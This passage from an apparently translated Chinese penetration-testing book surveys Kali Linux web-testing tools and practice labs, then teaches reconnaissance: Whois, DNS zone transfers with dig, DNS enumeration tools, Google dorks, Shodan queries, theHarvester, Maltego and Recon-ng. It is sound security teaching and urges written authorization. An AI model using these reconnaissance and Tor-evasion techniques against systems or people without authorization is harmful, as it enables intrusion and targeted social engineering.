由于证书是自签名的,不被浏览器信任,因此浏览器会显示警告。您可以安全地向浏览器添加一个例外,因为您知道 Burp Proxy 正在拦截请求,而不是恶意用户。或者,您可以通过在代理监听器中单击相应按钮,将 Burp 的证书导出到文件中,然后将证书导入浏览器并将其设置为受信任的证书:

Zed Attack Proxy

Zed Attack ProxyZAP)是一个功能齐全的开源 Web 应用程序测试套件,由Open Web Application Security ProjectOWASP)维护,这是一个致力于 Web 应用程序安全的非营利社区。与 Burp Suite 一样,它也有一个代理,可以拦截和修改 HTTP/HTTPS 请求和响应,尽管使用起来可能没有 Burp 那么容易。您偶尔会发现一个代理中缺少的小功能在另一个代理中可用。例如,ZAP 包括一个强制浏览工具,可用于识别服务器中的目录和文件。

ProxyStrike

Kali Linux 中还包含一个名为ProxyStrike的主动代理。该代理不仅拦截请求和响应,还主动查找漏洞。它具有用于查找 SQL 注入和 XSS 漏洞的模块。与之前讨论过的其他代理类似,您需要配置浏览器以使用 ProxyStrike 作为代理。它在后台执行应用程序的自动爬行,并且结果可以导出为 HTML 和 XML 格式。

网络爬虫和目录暴力破解

一些应用程序具有普通用户与 Web 应用程序交互时看不到的隐藏 Web 目录。Web 爬虫尝试探索 Web 页面中的所有链接和引用,并查找隐藏目录。除了一些代理的蜘蛛和爬行功能外,Kali Linux 还包含一些非常有用的工具。

DIRB

DIRB 是一个命令行工具,可以帮助您使用字典文件(例如可能的文件名列表)发现 Web 服务器中的隐藏文件和目录。它可以执行基本身份验证,并使用会话 cookie 和自定义用户代理名称来模拟 Web 浏览器。我们将在后面的章节中使用 DIRB。

DirBuster

DirBuster是一个 Java 应用程序,用于对 Web 应用程序的目录和文件名进行暴力攻击。它可以使用包含可能的文件和目录名称的文件,或生成所有可能的组合。DirBuster 使用通过浏览互联网并收集开发人员在实际 Web 应用程序中使用的目录和文件生成的列表。DirBuster 是由 OWASP 开发的,目前是一个不活跃的项目,现在作为 ZAP 攻击工具而不是独立工具提供。

Uniscan

Uniscan-gui是一个综合性工具,可以检查现有目录和文件,执行基本端口扫描、路由跟踪、服务器指纹识别、静态测试、动态测试和对目标进行压力测试。

Web 漏洞扫描器

漏洞扫描器是一种工具,当针对目标运行时,能够向目标发送请求或数据包,并解释响应以识别可能的安全漏洞,如配置错误、过时版本、缺乏安全补丁和其他常见问题。Kali Linux 还包括几个漏洞扫描器,其中一些专门用于 Web 应用程序。

Nikto

Nikto是网络渗透测试人员长期以来的最爱。最近它增加了一些功能,但其开发仍在继续。它是一个功能丰富的漏洞扫描器,您可以用它来测试不同的 Web 服务器上的漏洞。它声称可以检查流行的 Web 服务器上过时的软件版本和配置问题。

Nikto 的一些著名功能如下:

  • 它生成多种形式的输出报告,如 HTML、CSV、XML 和文本

  • 它使用多种技术进行误报降低,以测试漏洞

  • 它可以直接登录到 Metasploit

  • 它可以进行 Apache 用户名枚举

  • 它通过暴力攻击找到子域名

  • 它可以自定义每个目标的最大执行时间,然后再转到下一个目标

w3af

Web 应用攻击和审计框架w3af)是一个 Web 应用漏洞扫描器。它可能是 Kali Linux 中包含的最完整的漏洞扫描器。

Skipfish

Skipfish是一个漏洞扫描器,它通过创建目标网站的交互式站点地图开始,使用递归爬行和预先构建的字典。然后对结果地图中的每个节点进行漏洞测试。扫描速度是它与其他 Web 漏洞扫描器的主要区别之一。它以其自适应扫描功能而闻名,可以根据前一步骤中收到的响应进行更智能的决策。它在相对较短的时间内提供了对 Web 应用程序的全面覆盖。Skipfish 的输出格式为 HTML。

其他工具

以下工具虽然不完全专注于 Web 的漏洞扫描器,但它们是包含在 Kali Linux 中的有用工具,可以帮助您识别目标应用程序中的弱点。

OpenVAS

开放漏洞评估扫描器OpenVAS)是 Kali Linux 中的网络漏洞扫描器。渗透测试应始终包括对目标系统的漏洞评估,而 OpenVAS 在识别网络方面的漏洞方面做得很好。OpenVAS 是 Nessus 的一个分支,Nessus 是市场上领先的漏洞扫描器之一,但其订阅完全免费,并在 GPL 下获得许可。最新版本的 Kali Linux 不包括 OpenVAS,但可以通过 APT 轻松下载和安装,如下所示:

$ apt-get install openvas  

在 Kali Linux 中安装 OpenVAS 后,需要进行初始配置才能开始使用。转到应用程序|漏洞分析,选择 OpenVAS 初始设置。Kali Linux 需要连接到互联网才能完成此步骤,因为该工具会下载所有最新的订阅和其他文件。设置结束时,会生成一个密码,在 GUI 界面登录时使用:

您现在可以通过将浏览器指向https://127.0.0.1:9392来打开图形界面。接受自签名证书错误,然后使用在初始配置期间生成的admin用户名和密码登录。

OpenVAS 现在已准备好对任何目标运行漏洞扫描。您可以在登录后通过导航到“管理|用户”并选择用户名旁边的编辑用户选项(标有扳手)来更改密码。

GUI 界面分为多个菜单,如下所述:

  • 仪表板:一个可定制的仪表板,显示与漏洞管理、扫描主机、最近发布的漏洞披露和其他有用信息相关的信息。

  • 扫描:您可以从这里开始新的网络 VA 扫描。您还可以在此菜单下找到所有报告和发现。

  • 资产:在这里,您将找到来自扫描的所有累积主机。

  • SecInfo:存储所有漏洞及其 CVE ID 的详细信息。

  • 配置:在这里,您可以配置各种选项,如警报、调度和报告格式。使用此菜单还可以自定义主机和开放端口发现的扫描选项。

  • 附加功能:与 OpenVAS GUI 相关的设置,如时间和语言,可以从此菜单中完成。

  • 管理:通过管理菜单可以添加和删除用户以及进行订阅同步。

现在让我们来看一下 OpenVAS 的扫描结果。我扫描了三个主机,并在其中两个主机中发现了一些高风险漏洞。您可以进一步点击单个扫描并查看有关已识别漏洞的详细信息:

数据库利用

没有网络渗透测试是完整的,而没有测试后端数据库的安全性。SQL 服务器始终是攻击者的目标列表,它们在渗透测试中需要特别关注以关闭可能从数据库泄露信息的漏洞。SQLNinja是一个用 Perl 编写的工具,它可以用来攻击 Microsoft SQL 服务器的漏洞并获得 shell 访问权限。类似地,sqlmap工具用于利用易受 SQL 注入攻击的 SQL 服务器,并获取用户和数据库信息、枚举用户等等。SQL 注入攻击将在第五章中进一步讨论,即“检测和利用基于注入的漏洞”。

Web 应用程序模糊测试器

模糊测试器是一种旨在向 Web 应用程序注入随机数据的工具。Web 应用程序模糊测试器可用于测试缓冲区溢出条件、错误处理问题、边界检查和参数格式检查。模糊测试的结果是揭示无法通过 Web 应用程序漏洞扫描器识别的漏洞。模糊测试器采用试错方法,在识别缺陷时需要耐心。

Burp Suite 和 WebScarab 都有内置的模糊测试器。Wfuzz 是 Kali Linux 中的一个一键模糊测试器。我们将使用所有这些工具来测试第十章中的 Web 应用程序,即“Web 应用程序中的其他常见安全漏洞”。

使用 Tor 进行渗透测试

有时,Web 渗透测试可能包括绕过某些保护措施,从服务器端进行过滤或阻止,或者避免被检测或识别,以便以类似于真实恶意黑客的方式进行测试。洋葱路由器Tor)提供了一个有趣的选项,可以模拟黑帽黑客用于保护其身份和位置的步骤。尽管试图改善 Web 应用程序安全的道德黑客不应该担心隐藏自己的位置,但使用 Tor 可以为您提供额外的选项,以测试边缘安全系统,如网络防火墙、Web 应用程序防火墙和 IPS 设备。

黑帽黑客采用各种方法来保护他们的位置和真实身份;他们不使用固定的 IP 地址,并不断更改 IP 地址以欺骗网络犯罪调查人员。如果受到黑帽黑客的攻击,您将发现来自不同范围 IP 地址的端口扫描请求,并且实际的攻击将具有您的边缘安全系统首次登录的源 IP 地址。在获得客户的必要书面批准后,您可以使用 Tor 通过从系统通常不会看到连接的未知 IP 地址连接到 Web 应用程序来模拟攻击者。使用 Tor 使得追踪入侵尝试到实际攻击者变得更加困难。

Tor 使用一组相互连接的网络中继来反弹加密数据包。加密是多层的,将数据释放到公共互联网的最终网络中继无法识别通信的源头,因为整个数据包都被加密,每个节点只解密其中的一部分。目标计算机将数据包的最终退出点视为通信的源头,从而保护用户的真实身份和位置。来自 Electronic Frontier Foundation (www.eff.org)的以下图表解释了这个过程:

Kali Linux 预装了 Tor。有关如何使用 Tor 和安全注意事项的更多信息,请参考 Tor 项目的网站:www.torproject.org/

可能有一些工具和应用程序不支持 socks 代理,但可以配置为使用 HTTP 代理。Privoxy 是一个充当 HTTP 代理的工具,可以与 Tor 链接。它也包含在 Kali Linux 中。

可供练习的易受攻击的应用程序和服务器

如果您没有这些资产的所有者明确书面授权,那么在大多数国家,扫描、测试或利用互联网上的服务器和应用程序的漏洞是非法的。因此,您需要拥有和控制自己的实验室,在那里您可以练习和发展您的测试技能。

在本节中,我们将回顾一些在学习 Web 应用程序渗透测试时的选项。

OWASP Broken Web Applications

OWASP 的Broken Web Applications(BWA)项目是一组易受攻击的 Web 应用程序,它们以虚拟机的形式分发,旨在为学生、安全爱好者和渗透测试专业人员提供一个学习和开发 Web 应用程序测试技能、测试自动化工具以及测试Web 应用程序防火墙(WAF)和其他防御措施的平台:

在撰写本文时,BWA 的最新版本是 1.2,于 2015 年 8 月发布。尽管它已经有几年的历史了,但对于有意成为渗透测试人员的人来说,它是一个很好的资源。它包含了一些最完整的有意易受攻击的 Web 应用程序,用于测试目的,并涵盖了许多不同的平台;请考虑以下示例:

  • WebGoat:这是一个以教育为重点的基于 Java 的 Web 应用程序。它包含了最常见的 Web 漏洞的示例和挑战。

  • WebGoat.NET 和 RailsGoat:分别是 WebGoat 的.NET 和 Ruby on Rails 版本。

  • Damn Vulnerable Web Application (DVWA):这可能是最受欢迎的有意漏洞的 Web 应用程序。它基于 PHP,并包含了常见漏洞的培训部分。

OWASP BWA 还包括真实的易受攻击的 Web 应用程序,即模拟真实世界应用程序的有意易受攻击的 Web 应用程序,在这些应用程序中,您可以寻找比之前列出的应用程序中更不明显的漏洞。以下是一些示例:

  • WackoPicko: 这是一个应用程序,你可以在其中发布图片并购买其他用户的照片。

  • The BodgeIt Store:这是一个模拟的在线商店,需要找到漏洞并完成一系列挑战。

  • Peruggia: 这是一个模拟社交网络的应用,你可以上传图片,接收评论,并评论其他用户的图片。

此外,还有一些已知漏洞的真实网络应用程序,可以补充这个集合,你可以测试和利用它们;请考虑以下示例:

  • WordPress

  • Joomla

  • WebCalendar

  • AWStats

关于 Broken Web Applications Project 的更多信息和下载链接可以在其网站上找到:www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project

警告

在安装 OWASP BWA 时,请记住它包含严重的安全问题的应用程序。不要在具有互联网访问权限的物理服务器上安装易受攻击的应用程序。使用虚拟机,并将其网络适配器设置为 NAT、NAT 网络或仅主机。

Hackazon

Hackazon是 Rapid7 的一个项目,Rapid7 是 Metasploit 的制造商。它最初旨在展示他们的 Web 漏洞扫描器的有效性,然后作为开源软件发布。这是一个现代的 Web 应用程序(即,它使用 AJAX、Web 服务和其他你在今天的网站和应用程序中找到的功能)。Hackazon 模拟了一个在线商店,但内置了几个安全问题。你可以在以下网址上进行在线练习:hackazon.webscantest.com/。或者,如果你想要设置一个虚拟服务器并在那里安装和配置它,可以访问:github.com/rapid7/hackazon

Web Security Dojo

Maven Security 的Web Security Dojo项目是一个自包含的虚拟机,其中包含易受攻击的应用程序、培训材料和测试工具。该项目正在积极开发和更新。本文撰写时的最新版本是 3.0,于 2017 年 5 月发布。可以从以下网址获取:www.mavensecurity.com/resources/web-security-dojo

其他资源

有很多用于学习和实践渗透测试的优秀应用程序和虚拟机,这个列表可以延续很多页。在这里,我将列出一些额外的工具,除了已经提到的工具:

  • ZeroBank: 这是一个存在漏洞的银行应用程序:zero.webappsecurity.com/login.html

  • Acunetix's SecurityTweets: 这是一个类似 Twitter 的应用程序,专注于 HTML5 安全:testhtml5.vulnweb.com/#/popular

  • OWASP 的易受攻击的 Web 应用程序目录:这是一个经过策划的公开可用的易受攻击的 Web 应用程序列表,用于安全测试:github.com/OWASP/OWASP-VWAD

  • VulnHub: 一个包含易受攻击的虚拟机和Capture The FlagCTF)挑战的存储库。它包含一些带有 Web 应用程序的虚拟机:www.vulnhub.com

总结

本章主要介绍了 Kali Linux 的安装、配置和使用。我们首先解释了 Kali Linux 的不同安装方式以及可以使用它的场景。虚拟化 Kali Linux 是一个有吸引力的选择,我们讨论了这样做的优缺点。一旦 Kali Linux 安装并运行起来,我们介绍了一些主要的黑客工具,这些工具将用于测试 Web 应用程序。Burp Suite 是一个非常有趣且功能丰富的工具,我们将在整本书中使用它。然后,我们讨论了 Web 漏洞扫描器,这些扫描器在识别知名 Web 服务器中的缺陷和配置问题方面非常有用。我们还谈到了使用 Tor 和 Privoxy 来模拟一个隐藏真实身份和位置的现实世界攻击者。最后,我们回顾了一些构建测试实验室和易受攻击的 Web 应用程序的替代方案,以测试和发展您的技能。

在下一章中,我们将进行侦察,扫描 Web 应用程序,并识别所使用的基础技术,这将作为进一步利用的基础。

第三章:侦察和分析 Web 服务器

多年来,恶意攻击者找到了各种渗透系统的方法。他们收集有关目标的信息,识别漏洞,然后发动攻击。一旦进入目标,他们试图隐藏自己的踪迹并保持隐藏。攻击者可能不一定按照我们的顺序进行,但作为渗透测试人员,遵循这里建议的方法将帮助您以结构化的方式进行评估;此外,每个阶段收集的数据将有助于准备一份对客户有价值的报告。攻击者的目标最终是拥有您的系统;因此,他们可能不遵循任何顺序的方法来实现这一目标。作为渗透测试人员,您的目标是尽可能多地识别漏洞;因此,遵循一个逻辑的方法非常有用。此外,您需要有创造力并且要有开阔的思维。

以下是渗透测试的不同阶段:

  • 侦察:这涉及调查公开可用的信息,了解目标的基础技术和组件之间的关系

  • 扫描:这涉及通过手动测试或自动扫描找到目标中可能的漏洞或弱点

  • 利用:这涉及利用漏洞,入侵目标并获取访问权限

  • 维持访问(后期利用):建立升级特权的手段或以其他方式访问被利用的资产;安装后门、利用本地漏洞、创建用户和其他方法

  • 销毁痕迹:这涉及删除攻击的证据;通常,专业的渗透测试不涉及这个最后阶段,因为能够重建测试人员所遵循的路径为防御团队提供了有价值的信息,并有助于提高目标的安全水平

侦察和扫描是渗透测试的初始阶段。渗透测试的成功在很大程度上取决于在这些阶段收集到的信息的质量。在本章中,您将作为渗透测试人员,并使用被动和主动侦察技术提取信息。然后,您将使用 Kali Linux 提供的不同工具对目标进行探测,以进一步提取信息并使用自动化工具找到一些漏洞。

侦察

侦察是国防部队使用的一个术语,它意味着以不引起敌人警觉的方式获取有关敌人的信息。攻击者和渗透测试人员也采用相同的概念来获取与目标相关的信息。信息收集是侦察的主要目标。在这个初始阶段收集到的任何信息都被认为是重要的。攻击者在恶意内容的基础上构建侦察阶段中学到的信息,并逐渐进行利用。一个看似无害的小信息可能会帮助你在测试的后期阶段突出显示一个严重的缺陷。渗透测试人员的一个有价值的技能是能够将可能是低风险的漏洞链接在一起,但如果组合起来则具有高影响力。

侦察测试的目标包括以下任务:

  • 使用 Whois 记录、搜索引擎和 DNS 服务器识别 IP 地址、域名、子域名和相关信息。

  • 从 Google、Bing、Yahoo!和 Shodan 等公开可用资源中积累有关目标网站的信息。互联网档案馆(archive.org/)是一个作为互联网上所有网页的数字档案的网站,在侦察阶段可以揭示一些非常有用的信息。该网站自 1996 年以来一直在存档缓存页面。然而,如果目标网站是最近创建的,互联网档案馆将需要一些时间来缓存它。

  • 通过社交网络网站(如 LinkedIn、Facebook、Flick、Instagram 或 Twitter)以及 Maltego 等工具来确定与目标相关的人员。

  • 使用 Geo IP 数据库、Google Maps 和 Bing Maps 的卫星图像来确定目标的物理位置。

  • 通过手动浏览 Web 应用程序并创建站点地图来了解应用程序的流程,并使用 Burp Suite、HTTP Track 和 ZAP Proxy 等工具进行爬虫。

在 Web 应用程序渗透测试中,侦察可能不会那么广泛。例如,在灰盒方法中,大部分在此阶段可以收集到的信息由客户提供;此外,范围可能严格限制在测试环境中运行的目标应用程序上。为了完整起见,在本书中,我们将采取一种通用的方法。

被动侦察与主动侦察

真正意义上的侦察应始终是被动的。这意味着侦察不应直接与目标交互,并且应从第三方来源收集所有信息。然而,在实际实施中,在对 Web 应用程序进行侦察时,您通常会与目标交互以获取最新的更改。被动侦察依赖于缓存的信息,可能不包括目标上进行的最新更改。尽管您可以使用与目标相关的公开可用信息学到很多东西,但在此阶段的范围内应始终包括以不警报防火墙和入侵防御设备的方式与网站进行交互。

一些渗透测试人员认为被动侦察应包括浏览目标 URL 并浏览公开可用内容;然而,其他人可能会认为它不应涉及任何针对实际网站的网络数据包。

信息收集

如前所述,侦察的主要目标是收集信息,同时避免被入侵检测机制检测和警报。被动侦察用于从公开可用资源中提取与目标相关的信息。在 Web 应用程序渗透测试中,您将首先获得一个 URL。然后,您将确定整个网站的范围并尝试连接不同的部分。被动侦察也被称为开源情报(OSINT)收集。

在黑盒渗透测试中,您对目标没有任何先前的信息,并且必须像一个不知情的攻击者一样接近它,侦察起着重要的作用。网站的 URL 是您唯一拥有的东西,用于扩展您对目标的了解。

域名注册详细信息

每次注册域名时,您都必须提供有关您的公司或业务的详细信息,例如名称、电话号码、邮寄地址以及用于技术和计费目的的特定电子邮件地址。域名注册商还将存储您的权威 DNS 服务器的 IP 地址。

检索这些信息的攻击者可以将其用于恶意目的。在注册过程中提供的联系人姓名和电话号码可以用于社会工程攻击,例如通过电话欺骗用户。邮寄地址可以帮助攻击者进行 wardriving 并找到未加密的无线接入点。纽约时报在 2013 年遭到攻击,当时其 DNS 记录被恶意攻击者更改,该攻击者对管理该域名的注册商的域名转售商进行了网络钓鱼攻击。更改 DNS 记录对网站的功能有严重影响,因为攻击者可以使用它将 Web 流量重定向到不同的服务器,而修复的更改可能需要长达 72 小时才能到达全球范围内的所有公共 DNS 服务器。

Whois - 提取域名信息

Whois 记录用于检索域所有者向域名注册商提供的注册详细信息。它是一种用于提取有关域和相关联系信息的协议。您可以查看注册域名的人/实体的姓名、地址、电话号码和电子邮件地址。Whois 服务器由区域互联网注册机构RIR)运营,并且可以直接通过端口43进行查询。在互联网的早期,只有一个 Whois 服务器,但随着互联网的扩展,现有的 Whois 服务器数量也增加了。如果查询的服务器上没有请求域的信息,则将请求转发到域名注册商的 Whois 服务器,并将结果返回给最终客户端。Kali Linux 内置了一个 Whois 工具,可以从终端运行。工具检索到的信息只有域所有者更新的信息准确,如果注册商网站上的更新详细信息不正确,有时可能会误导。此外,域所有者可以通过订阅域名注册商提供的附加服务来阻止与您的域名相关的敏感信息,此后注册商将显示他们的详细信息而不是您的域名的联系方式。

使用whois命令后跟目标域名应该显示一些有价值的信息。输出将包含注册商名称和返回信息的 Whois 服务器。它还将显示域名注册日期和到期日期,如下图所示:

如果域名管理员在到期日期之前未续订域名,域名注册商将释放该域名,然后任何人都可以购买。输出还指出了域名的 DNS 服务器,可以进一步查询以找到域中的其他主机:

使用 DNS 识别相关主机

一旦您获得了权威 DNS 服务器的名称,您可以使用它来识别域中的其他主机。DNS 区域可能不仅包含用于 Web 服务器的条目。在互联网上,每个需要主机名来标识服务的技术都使用 DNS。邮件服务器和 FTP 服务器使用 DNS 来将主机解析为 IP 地址。通过查询 DNS 服务器,您可以识别目标组织中的其他主机;它还将帮助您识别从互联网访问的其他应用程序。citrix.target-domain.comwebmail.target-domain.com的记录可以引导您访问从互联网访问的其他应用程序。

使用 dig 进行区域传输

DNS 服务器通常实现复制(即主服务器和辅助服务器)以提高可用性。为了将主机解析数据库从主服务器同步到辅助服务器,会进行一种称为区域传输的操作。辅助服务器从主服务器请求区域(该服务器负责的域的部分)数据,主服务器会响应并返回一个包含其可以解析的 IP 地址-主机名对的数据库副本。

DNS 服务器的配置错误允许任何人请求区域传输并获取这些服务器的已解析主机的完整列表。在 Linux 中使用域名互联网探测器dig)命令行工具,您可以尝试执行区域传输以识别域中的其他主机。区域传输是通过 TCP 端口53而不是标准的 DNS 端口 UDP 端口53进行的。

dig命令行工具主要用于查询 DNS 服务器的主机名。一个简单的命令,如dig google.com,会显示该域的 IP 地址和托管 DNS 区域的 DNS 服务器的名称(也称为名称服务器)。有许多类型的 DNS 记录,如邮件交换器MX)、SRV 记录和 PTR 记录。dig google.com mx命令显示 MX 记录的信息。

除了常规的 DNS 任务外,dig命令还可以用于执行 DNS 区域传输。

让我们向zonetransfer.me发出一个区域传输请求,这是由 Robin Wood(DigiNinja)为教育目的而创建的一个易受攻击的域。请求使用dig命令,将zonetransfer.me域的 AXFR(区域传输)记录发送到nsztm1.digi.ninja服务器:

$ dig axfr zonetransfer.me @nsztm1.digi.ninja

如下屏幕截图所示,如果启用了区域传输,dig工具会在终端中转储区域中的所有条目:

Shell 命令,如grepcut,非常适用于处理命令行工具的输出。在上面的示例中,cut|(管道)字符一起使用,只显示dig命令结果中每行的由-d " "(空格)字符分隔的前三个元素。在此屏幕截图中,列由制表符分隔,最后一列中的信息由空格分隔。

通常情况下,即使主 DNS 服务器阻止区域传输,该域的辅助服务器可能允许它。dig google.com NS +noall +answer命令将显示该域的所有名称服务器。

尝试从facebook.com的 DNS 服务器执行区域传输失败,因为该公司正确地锁定了他们的 DNS 服务器:

进行 DNS 查找以搜索 IP 地址是被动侦察。然而,一旦使用dignslookup等工具进行区域传输,它就变成了主动侦察。

DNS 枚举

在真实的渗透测试项目中,很少会发现允许匿名区域传输的配置错误的服务器。还有其他技术可以用来发现与域名相关的主机名或子域名,Kali Linux 包含了一些有用的工具来完成这个任务。

DNSEnum

DNSEnum是一个命令行工具,可以自动识别基本的 DNS 记录,如 MX 记录、邮件交换服务器、NS 记录、域名服务器或 A 记录(域的地址记录)。它还尝试在所有识别的服务器上进行区域传输,并具有尝试反向解析(即根据 IP 地址获取主机名)和暴力破解(查询子域和主机名的存在以获取其 IP 地址)的能力。以下是对zonetransfer.me的查询示例:

区域传输的结果如下:

Fierce

Fierce 由mschwager提供,详见Fierce: A DNS reconnaissance tool for locating non-contiguous IP space (github.com/mschwager/fierce), GitHub © 2018,如下所示:

Fierce 是一个半轻量级的扫描器,用于定位非连续的 IP 空间和指定域的主机名。

Fierce 使用区域传输、字典攻击和反向解析来收集主机名和子域名以及域的 IP 地址,并且它可以搜索相关名称(例如domain company.comcorpcompany.comwebcompany.com)。在下面的示例中,我们将使用搜索来识别google.com的主机名:

DNSRecon

DNSRecon是 Kali Linux 中的另一个有用工具。它可以通过区域传输、字典请求和 Google 搜索等多种技术来收集 DNS 信息。在下面的屏幕截图中,我们将通过区域传输(-a)、通过 Whois 获取的 IP 地址空间的反向分析(-w)和 Google 搜索(-g)对zonetransfer.me进行枚举:

使用 Nmap 对 DNS 记录进行暴力破解

Nmap附带了一个脚本,使用暴力破解技术查询 DNS 服务器以获取其他主机。它使用了vhosts-defaults.lstvhosts-full.lst字典文件,这些文件包含了多年来由 Nmap 开发团队收集的常见主机名的大量列表。这些文件可以在/usr/share/nmap/nselib/data/目录下找到。Nmap 向 DNS 服务器发送查询,检查该文件中的每个条目是否有可用于该主机名的 A 记录。

如下所示的屏幕截图显示,暴力破解脚本返回了一个积极的结果。它通过查询 A 记录来识别 DNS 区域中的一些主机:

使用搜索引擎和公共网站收集信息

现代搜索引擎是公共信息收集和被动侦察的宝贵资源。像 Google、Bing 和 DuckDuckGo 这样的综合搜索引擎允许我们使用高级搜索过滤器来查找特定域中的信息、特定文件类型、URL 中的内容和特定文本模式。还有一些专门的搜索引擎,比如 Shodan,可以让您在多种服务中搜索主机名、开放端口、服务器位置和特定的响应头。

Google dorks

Google dorks技术,也称为Google hacking,起初是滥用 Google 的高级搜索选项,后来扩展到其他也包含类似选项的搜索引擎。它搜索特定的字符串和参数,以从组织或目标中获取有价值的信息。以下是一些对渗透测试人员有用的示例:

  • 可以搜索特定站点或域中的 PDF 文档,如下所示:
      site:example.com filetype:pdf 
  • 可以搜索特定域的电子邮件地址引用,但排除该域的网站:
      "@example.com" -site:example.com 
  • 可以搜索标题或 URL 中包含example.com的管理站点:
      intitle:admin OR inurl:admin  site:example.com 
  • 您还可以搜索特定的错误消息,指示可能存在 SQL 注入漏洞:
      "SQL Server Driver][SQL Server]Line 1: Incorrect syntax near"  
      site:example.com 

Google 和其他搜索引擎中有成千上万种可能的有用搜索组合。Kali Linux 的创建者 Offensive Security 还维护了一个公共数据库,其中包含可能为渗透测试人员提供有用结果的搜索字符串,该数据库位于:www.exploit-db.com/google-hacking-database/

Shodan

Shodanshodan.io)是一种不同类型的搜索引擎;它帮助您查找连接到互联网的设备,而不是网页中的内容。与 Google 一样,它具有运算符和特定的语法来执行高级和特定的搜索。这个屏幕截图显示了搜索与google.com相关的所有主机名:

使用 Shodan 进行主机名搜索的示例

要利用 Shodan 的高级搜索功能,首先需要创建一个帐户。免费帐户只能获得有限数量的结果,而且某些选项受限,但仍然非常有用。Shodan 可以用来查找以下内容:

  • 可以通过以下方式找到属于某个域的互联网上公开的服务器:
      hostname:example.com 
  • 可以通过指定Server参数来找到特定类型的设备,例如 CCTV 摄像头或工业控制系统(ICS):
      Server: SQ-WEBCAM 
  • 可以找到特定开放端口或服务,例如使用常见端口的 Web 服务器:
      port:80,443,8080 
  • 可以通过以下方式找到特定网络范围内的主机:
      net:192.168.1.1/24 

有关 Shodan 搜索选项和运算符的有用参考资料可以在以下网址找到:pen-testing.sans.org/blog/2015/12/08/effective-shodan-searches

theHarvester

theHarvester是 Kali Linux 中包含的命令行工具,它作为各种搜索引擎的包装器,用于从不同的公共来源(如搜索引擎和 PGP 密钥服务器)查找与域名相关的电子邮件账户、子域名、虚拟主机、开放端口/横幅和员工姓名。在最近的版本中,作者添加了进行 DNS 暴力破解、反向 IP 解析和顶级域TLD)扩展的功能。

在以下示例中,使用theharvester收集有关zonetransfer.me的信息:

Maltego

Maltego是广泛用于 OSINT 的专有软件。Kali Linux 包含了 Maltego 的社区版,完成在线注册后可以免费使用,但有一些限制。Maltego 对数据的各个部分(例如电子邮件地址和域名)执行转换以获取更多信息,并将所有结果显示为显示不同对象之间关系的图形。转换是对特定对象的公共信息搜索,例如搜索与域名相关的 IP 地址或与电子邮件地址或人名相关的社交媒体账户。以下截图显示了 Maltego 的主界面:

Maltego 界面

Recon-ng - 信息收集的框架

OSINT 收集是一个耗时且需要手动操作的过程。与目标组织相关的信息可能分散在多个公共资源中,积累和提取与目标相关的信息是一项困难且耗时的任务。大多数组织的 IT 预算不允许在此类活动上花费太多时间。

Recon-ng是渗透测试人员一直需要的工具。它是一个功能强大的信息收集工具。Recon-ng 是一个非常交互式的工具,类似于 Metasploit 框架。该框架使用许多不同的来源来收集数据,例如 Google、Twitter 和 Shodan。一些模块在查询网站之前需要 API 密钥。可以通过完成搜索引擎网站上的注册来生成密钥。其中一些模块使用付费 API 密钥。

要在 Kali Linux 中启动 Recon-ng,请导航到应用程序菜单,点击信息收集子菜单,或在终端中运行recon-ng命令。您将在右侧窗格中看到 Recon-ng 的列表。与 Metasploit 类似,当框架启动并运行时,您可以输入show modules来查看随附的不同模块。一些模块是被动的,而其他模块则主动探测目标以提取所需的信息。

尽管 Recon-ng 有一些利用模块,但该工具的主要任务是协助侦察活动,并且其中有大量的模块可用于此目的:

Recon-ng 可以查询多个搜索引擎,其中一些通过 Web 请求查询;也就是说,该工具复制了普通用户在搜索框中输入文本并点击搜索按钮时所做的请求。另一个选项是使用引擎的 API。使用 API 时,搜索引擎可能需要 API 密钥来识别发送这些请求的人并应用配额。该工具比人类工作更快,并且通过分配 API 可以跟踪使用情况并防止滥用服务。因此,请确保不要过度使用搜索引擎,否则可能会拒绝您的查询。

所有主要搜索引擎都有一个注册用户持有 API 密钥的选项。例如,您可以在azure.microsoft.com/en-us/try/cognitive-services/?api=bing-web-search-api.上为 Bing 生成 API 密钥。

此免费订阅每月提供 5000 个查询。生成密钥后,需要使用以下命令将其添加到 Recon-ng 工具的密钥表中:

keys add bing_api <api key generated>  

要显示在 Recon-ng 中存储的所有 API 密钥,请输入以下命令:

keys list  

使用 Recon-ng 进行域枚举

收集有关目标网站的子域的信息将帮助您识别网站的不同内容和功能。目标组织提供的每个产品或服务可能都有一个专用的子域。这有助于以一致的方式组织各种内容。通过识别不同的子域,您可以创建一个站点地图和流程图,将各个部分相互连接起来,更好地了解网站的流程。

子级和顶级域名枚举

使用 Bing Web 主机名枚举模块,我们将尝试在www.facebook.com/网站上找到其他子域:

  1. 首先需要使用load recon/domains-hosts/bing_domain_web命令加载模块。接下来,输入show info命令,显示描述该模块的信息。

  2. 下一步是在SOURCE选项中设置目标域。我们将其设置为facebook.com,如截图所示:

  1. 准备好后,使用run命令启动模块。该工具首先查询几个域,然后使用(-)指令删除已查询的域。然后再次搜索其他域。这里的最大优势是速度。除了速度外,输出还以明文形式存储在数据库中。这可以用作其他工具(如 Nmap、Metasploit 和 Nessus)的输入。输出如下截图所示:

DNS 公共后缀暴力破解模块可用于识别顶级域名(TLD)和二级域名(SLD)。许多基于产品和服务的企业为每个地理区域都有单独的网站;您可以使用此暴力破解模块来识别它们。它使用来自/usr/share/recon-ng/data/suffixes.txt的字典文件来枚举附加域名。

报告模块

您运行的每个侦察模块都会将输出存储在单独的表中。您可以将这些表导出为多种格式,例如 CSV、HTML 和 XML 文件。要查看 Recon-ng 工具使用的不同表格,需要输入show并按两次Tab键列出自动完成功能的可用选项。

要将表导出为 CSV 文件,请通过输入use reporting/csv命令加载 CSV 报告模块。(load命令可以替代use命令,效果相同。)加载模块后,设置要导出的文件名和表,并输入run

以下是 Recon-ng 中的一些其他侦察模块,对渗透测试人员非常有帮助:

  • Netcraft 主机名枚举器:Recon-ng 将收集 Netcraft 网站并累积与目标相关的所有主机,并将它们存储在主机表中。

  • SSL SAN 查找:许多启用 SSL 的网站使用Subject Alternative Names(SAN)功能在多个域上使用单个证书。该模块使用ssltools.com/网站来检索证书的 SAN 属性中列出的域。

  • LinkedIn 身份验证联系人枚举器:将从 LinkedIn 个人资料中检索联系人并将其存储在联系人表中。

  • IPInfoDB GeoIP:使用 IPInfoDB 数据库显示主机的地理位置(需要 API)。

  • Yahoo!主机名枚举器:这使用 Yahoo!搜索引擎来定位域中的主机。拥有多个搜索引擎的模块可以帮助您定位其他搜索引擎未索引的主机和子域。

